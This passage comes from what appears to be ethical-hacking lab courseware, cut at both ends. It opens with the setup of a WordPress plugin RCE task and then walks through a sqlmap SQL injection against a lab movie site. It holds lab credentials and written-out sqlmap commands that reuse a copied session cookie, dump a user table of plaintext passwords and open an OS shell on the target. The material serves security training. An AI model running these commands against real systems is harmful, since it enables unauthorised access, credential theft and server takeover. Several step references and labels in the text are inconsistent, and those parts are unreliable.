  24. In the Raw tab under the Request tab, the HTTP request with a set of the correct credentials is displayed. (here, username=admin and password=qwerty@123), as shown in the screenshot. Note down these user credentials.

Task 2: Perform Remote Code Execution (RCE) Attack

Remote Code Execution (RCE) Attack vulnerability is a critical security flaw that allows an attacker to execute arbitrary code on a target system remotely, without needing physical access to the system. This type of vulnerability is particularly dangerous because it enables attackers to take control of the target system, potentially gaining unauthorized access, stealing data, or causing damage to the system or network.

Attackers exploit these vulnerabilities by injecting malicious code into the target system through various means such as input fields, file uploads, or network protocols. Once the malicious code is executed, the attacker can gain control over the system and perform actions as if they were an authenticated user or system administrator.

Here, we will perform a CSRF attack using vulnerability present in the wp-upg plugin.

  1. Click Type here to search field on the Desktop, search for wampserver64 in the search bar and select Wampserver64 from the results.
  2. Wait for this icon to turn green, which indicates that the WampServer is successfully running.
  3. Now, open any web browser, and go to http://10.10.1.22:8080/CEH/wp-login.php? (here, we are using Mozilla Firefox).
  4. A WordPress webpage appears. Type Username or Email Address and Password as admin and qwerty@123. Click the Log In button.

Lab 1 Modulo 15: Perform SQL Injection Attacks

Task 1: Perform an SQL Injection Attack Against MSSQL to Extract Databases using sqlmap

sqlmap is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features, and a broad range of switches—from database fingerprinting and data fetching from the database to accessing the underlying file system and executing commands on the OS via out-of-band connections.

You can use sqlmap to perform SQL injection on a target website using various techniques, including Boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries, and out-of-band SQL injection.

In this task, we will use sqlmap to perform SQL injection attack against MSSQL to extract databases.

  1. Navigate to http://www.moviescope.com/. A Login page loads; enter the Username and Password as sam and test, respectively.
  2. Once you are logged into the website, click the View Profile tab on the menu bar and, when the page has loaded, make a note of the URL in the address bar of the browser.
  3. Right-click anywhere on the webpage and click Inspect (Q) from the context menu, as shown in the screenshot.
  4. The Developer Tools frame appears in the lower section of the browser window. Click the Console tab, type document.cookie in the lower-left corner of the browser, and press Enter.
  5. Select the cookie value, then right-click and copy it, as shown in the screenshot. Minimize the web browser. Note down the URL of the web page.
  6. As root, Run sqlmap -u «http://www.moviescope.com/viewprofile.aspx?id=1» --cookie=«[cookie value that you copied in Step#7]» --dbs command.
    1. In this query, -u specifies the target URL (the one you noted down in Step#7), –cookie specifies the HTTP cookie header value, and –dbs enumerates DBMS databases.
  7. The above query causes sqlmap to enforce various injection techniques on the name parameter of the URL in an attempt to extract the database information of the MovieScope website.
  8. If the message Do you want to skip test payloads specific for other DBMSes? [Y/n] appears, type Y and press Enter.
  9. If the message for the remaining tests, do you want to include all tests for ‘Microsoft SQL Server’ extending provided level (1) and risk (1) values? [Y/n] appears, type Y and press Enter.
  10. sqlmap retrieves the databases present in the MSSQL server. It also displays information about the web server OS, web application technology, and the backend DBMS, as shown in the screenshot.
  11. Now, you need to choose a database and use sqlmap to retrieve the tables in the database. In this lab, we are going to determine the tables associated with the database moviescope.
  12. Run sqlmap -u «http://www.moviescope.com/viewprofile.aspx?id=1» –cookie=«[cookie value which you have copied in Step#7]» -D moviescope –tables command.
    1. In this query, -D specifies the DBMS database to enumerate and –tables enumerates DBMS database tables.
  13. sqlmap retrieves the table contents of the moviescope database and displays them, as shown in screenshot.
  14. Now, you need to retrieve the table content of the column User_Login.
  15. Run sqlmap -u «http://www.moviescope.com/viewprofile.aspx?id=1» –cookie=«[cookie value which you have copied in Step#7]» -D moviescope -T User_Login –dump command to dump all the User_Login table content.
  16. sqlmap retrieves the complete User_Login table data from the database moviescope, containing all users’ usernames under the Uname column and passwords under the password column, as shown in screenshot.
  17. You will see that under the password column, the passwords are shown in plain text form.
  18. Now, switch back to the Parrot Terminal window. Run sqlmap -u «http://www.moviescope.com/viewprofile.aspx?id=1» –cookie=«[cookie value which you have copied in Step#7]» –os-shell.
  19. If the message do you want sqlmap to try to optimize value(s) for DBMS delay responses appears, type Y and press Enter to continue.
  20. Once sqlmap acquires the permission to optimize the machine, it will provide you with the OS shell. Type hostname and press Enter to find the machine name where the site is running. If the message do you want to retrieve the command standard output? appears, type Y and press Enter.
  21. sqlmap will retrieve the hostname of the machine on which the target web application is running, as shown in the screenshot.
  22. Type TASKLIST and press Enter to view a list of tasks that are currently running on the target system.
  23. If the message do you want to retrieve the command standard output? appears, type Y and press Enter. The above command retrieves the tasks and displays them under the command standard output section, as shown in the screenshots below.
  24. To view the available commands under the OS shell, type help and press Enter.
  25. You can also use other SQL injection tools such as:
